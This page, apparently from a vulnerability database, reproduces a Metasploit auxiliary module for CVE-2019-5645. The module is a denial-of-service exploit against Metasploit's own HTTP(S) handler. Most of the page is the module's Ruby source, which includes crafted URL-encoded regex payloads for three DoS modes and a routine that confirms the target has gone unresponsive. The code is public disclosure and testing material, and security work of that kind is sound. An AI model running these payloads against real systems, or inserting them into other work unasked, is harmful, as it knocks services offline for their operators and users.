Lucene search
K

Metasploit HTTP(S) handler DoS

🗓️ 09 Oct 2019 14:54:43Reported by Jose Garduno, Dreamlab Technologies AG, Angelo Seiler, Dreamlab Technologies AGType 
metasploit
 metasploit
🔗 www.rapid7.com👁 29 Views

Metasploit HTTP(S) handler DoS module triggers DoS by sending crafted HTTP request to handler. Tested against Metasploit 5.0.20

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2019-5645
26 Dec 201919:59
circl
CVE
CVE-2019-5645
1 Sep 202014:35
cve
Cvelist
CVE-2019-5645 Rapid7 Metasploit HTTP Handler Denial of Service
1 Sep 202014:35
cvelist
NVD
CVE-2019-5645
1 Sep 202015:15
nvd
Packet Storm
Metasploit HTTP(S) handler Denial of Service
31 Aug 202400:00
packetstorm
Prion
Design/Logic Flaw
1 Sep 202015:15
prion
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Metasploit HTTP(S) handler DoS',
      'Description' => %q{
        This module exploits the Metasploit HTTP(S) handler by sending
        a specially crafted HTTP request that gets added as a resource handler.
        Resources (which come from the external connections) are evaluated as RegEx
        in the handler server. Specially crafted input can trigger Gentle, Soft and Hard DoS.

        Tested against Metasploit 5.0.20.
      },
      'Author' => [
        'Jose Garduno, Dreamlab Technologies AG', #Vulnerability Discovery, Metasploit module.
        'Angelo Seiler, Dreamlab Technologies AG', #Additional research, debugging.
      ],
      'License' => MSF_LICENSE,
      'References' => [
        ['CVE', '2019-5645']
      ],
      'DisclosureDate' => '2019-09-04'
    ))

    register_options(
        [
            OptEnum.new('DOSTYPE', [true, 'Type of DoS to trigger', 'HARD', %w[GENTLE SOFT HARD]])
        ])
  end

  def test_service_unresponsive
    begin
      print_status('Testing for service unresponsiveness.')

      res = send_request_cgi({
                                 'uri' => '/' + Rex::Text.rand_text_alpha(8),
                                 'method' => 'GET'
                             })

      if res.nil?
        print_good('SUCCESS, Service not responding.')
      else
        print_error('Service responded with a valid HTTP Response; Attack failed.')
      end
    rescue ::Rex::ConnectionRefused
      print_error('An unknown error occurred.')
    rescue ::Timeout::Error
      print_good('HTTP request timed out, most likely the ReDoS attack was successful.')
    end
  end


  def dos
    case datastore['DOSTYPE']
    when "HARD"
      resone = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri("/%2f%26%28%21%7c%23%2b%29%2b%40%32%30")
      )
      begin
        restwo = send_request_cgi(
            'method' => 'GET',
            'uri' => normalize_uri("/%26%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%21")
        )
      rescue ::Errno::EPIPE, ::Timeout::Error
        # Same exceptions the HttpClient mixin catches
      end
      test_service_unresponsive

    when "SOFT"
      resone = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri("/%5b20")
      )

      test_service_unresponsive

    when "GENTLE"
      resone = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri("/%2e%2a%7c%32%30%7c%5c")
      )

      sleep(1)

      restwo = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri("/whatever")
      )

      resthree = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri("/whatever2")
      )

      if resthree.body.length == 0
        print_good('SUCCESS, Service not responding.')
      else
        print_error('Service responded with a valid HTTP Response; Attack failed.')
      end

    else
      fail_with Failure::BadConfig, 'Invalid DOSTYPE selected'
    end

    print_status("DOS request sent")
  end

  def is_alive?
    begin
      connect
    rescue Rex::ConnectionRefused
      return false
    ensure
      disconnect
    end
    true
  end

  def run
    print_status("#{rhost}:#{rport} - Sending DoS packet...")
    dos
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation